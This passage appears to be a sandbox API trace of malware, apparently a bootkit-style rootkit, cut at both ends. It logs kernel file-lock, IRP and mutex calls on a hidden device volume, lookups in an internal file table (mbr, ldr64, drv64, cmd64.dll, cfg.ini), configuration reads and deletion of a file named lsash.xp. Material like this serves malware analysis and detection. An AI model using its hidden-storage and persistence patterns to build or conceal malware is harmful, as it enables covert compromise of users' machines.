_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.089] KeEnterCriticalRegion () [0120.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.090] KeLeaveCriticalRegion () [0120.090] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.090] KeEnterCriticalRegion () [0120.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.090] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.090] IdePortDispatch () returned 0x103 [0120.090] KeWaitForMutexObject () returned 0x0 [0120.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.090] KeLeaveCriticalRegion () [0120.090] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.090] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.090] KeEnterCriticalRegion () [0120.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.090] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df1000 [0120.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.090] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.090] IdePortDispatch () returned 0x103 [0120.090] KeWaitForMutexObject () returned 0x0 [0120.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.091] IdePortDispatch () returned 0x103 [0120.091] KeWaitForMutexObject () returned 0x0 [0120.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.091] KeLeaveCriticalRegion () [0120.091] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.091] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.091] KeEnterCriticalRegion () [0120.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.091] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.091] KeLeaveCriticalRegion () [0120.091] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.091] KeEnterCriticalRegion () [0120.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.091] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.091] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.091] KeLeaveCriticalRegion () [0120.092] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.092] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.092] KeEnterCriticalRegion () [0120.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.092] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.092] KeLeaveCriticalRegion () [0120.092] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.092] ReleaseMutex (hMutex=0xf0) returned 1 [0120.092] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.092] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.092] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.092] KeEnterCriticalRegion () [0120.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.092] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.092] IdePortDispatch () returned 0x103 [0120.092] KeWaitForMutexObject () returned 0x0 [0120.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.092] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.092] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.092] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.092] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.092] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2650 [0120.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.092] KeLeaveCriticalRegion () [0120.092] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.092] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.092] KeEnterCriticalRegion () [0120.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.093] KeLeaveCriticalRegion () [0120.093] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.093] KeEnterCriticalRegion () [0120.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.093] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.093] IdePortDispatch () returned 0x103 [0120.093] KeWaitForMutexObject () returned 0x0 [0120.093] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.093] KeLeaveCriticalRegion () [0120.093] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.093] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.093] KeEnterCriticalRegion () [0120.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df2000 [0120.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.093] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.093] IdePortDispatch () returned 0x103 [0120.093] KeWaitForMutexObject () returned 0x0 [0120.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.094] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.094] IdePortDispatch () returned 0x103 [0120.094] KeWaitForMutexObject () returned 0x0 [0120.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.094] KeLeaveCriticalRegion () [0120.094] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.094] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.094] KeEnterCriticalRegion () [0120.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.094] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.094] KeLeaveCriticalRegion () [0120.095] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.095] KeEnterCriticalRegion () [0120.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.095] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.095] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.095] KeLeaveCriticalRegion () [0120.095] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.095] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.095] KeEnterCriticalRegion () [0120.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.095] ExFreePoolWithTag (P=0xfffffa8003bc2650, Tag=0x0) [0120.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.095] KeLeaveCriticalRegion () [0120.095] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.095] ReleaseMutex (hMutex=0xf0) returned 1 [0120.095] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.095] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.095] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.095] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.095] KeEnterCriticalRegion () [0120.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.095] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.095] IdePortDispatch () returned 0x103 [0120.095] KeWaitForMutexObject () returned 0x0 [0120.095] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.095] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.095] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.095] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.095] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.095] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.095] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.095] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.095] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.096] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.096] KeLeaveCriticalRegion () [0120.096] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.096] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.096] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.096] KeEnterCriticalRegion () [0120.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.096] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.096] IdePortDispatch () returned 0x103 [0120.096] KeWaitForMutexObject () returned 0x0 [0120.096] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.096] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.096] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.096] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.096] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.096] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.096] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.096] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.096] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.096] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.096] KeLeaveCriticalRegion () [0120.096] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.096] ReleaseMutex (hMutex=0x100) returned 1 [0120.096] Sleep (dwMilliseconds=0x2bf20) [0120.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ac891f0, dwHighDateTime=0x1d24fa4)) [0120.103] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.103] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.103] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.103] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.103] KeEnterCriticalRegion () [0120.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.103] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.103] IdePortDispatch () returned 0x103 [0120.103] KeWaitForMutexObject () returned 0x0 [0120.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.103] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.103] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.103] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.103] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.103] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.103] KeLeaveCriticalRegion () [0120.103] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.103] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.103] KeEnterCriticalRegion () [0120.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.103] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.103] KeLeaveCriticalRegion () [0120.103] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.103] KeEnterCriticalRegion () [0120.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.104] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.104] IdePortDispatch () returned 0x103 [0120.104] KeWaitForMutexObject () returned 0x0 [0120.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.104] KeLeaveCriticalRegion () [0120.104] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.104] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.104] KeEnterCriticalRegion () [0120.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df5000 [0120.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.104] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.104] IdePortDispatch () returned 0x103 [0120.104] KeWaitForMutexObject () returned 0x0 [0120.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.104] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.104] IdePortDispatch () returned 0x103 [0120.104] KeWaitForMutexObject () returned 0x0 [0120.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.105] KeLeaveCriticalRegion () [0120.105] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.105] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.105] KeEnterCriticalRegion () [0120.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.105] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.105] KeLeaveCriticalRegion () [0120.105] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.105] KeEnterCriticalRegion () [0120.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.105] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.105] FsRtlFastUnlockAll 